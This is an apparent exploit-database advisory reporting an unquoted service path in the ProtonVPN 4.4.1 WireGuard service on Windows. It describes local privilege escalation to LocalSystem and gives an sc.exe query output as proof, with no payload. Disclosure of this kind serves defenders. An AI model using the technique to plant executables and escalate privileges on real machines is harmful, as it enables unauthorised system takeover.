ProtonVPN v4.4.1 – Unquoted Service Path
# Exploit Title: ProtonVPN v4.4.1 - Unquoted Service Path # Date: 2026-06-22 # Exploit Author: Milad Karimi # Contact: karimimilad1337@gmail.com # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL # Vendor Homepage: https://protonvpn.com/ # Software Link: https://protonvpn.com/ # Version: 4.4.1 # Tested on: Windows 10 Pro x64 Description: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. Proof Of Concept: PS C:\Users\Emre> sc.exe qc "ProtonVPN Wireguard" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ProtonVPN Wireguard TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Proton Technologies\ProtonVPN\ProtonVPN.WireGuardService.exe C:\ProgramData\ProtonVPN\WireGuard\ProtonVPN.conf LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ProtonVPN WireGuard DEPENDENCIES : Nsi : TcpIp SERVICE_START_NAME : LocalSystem |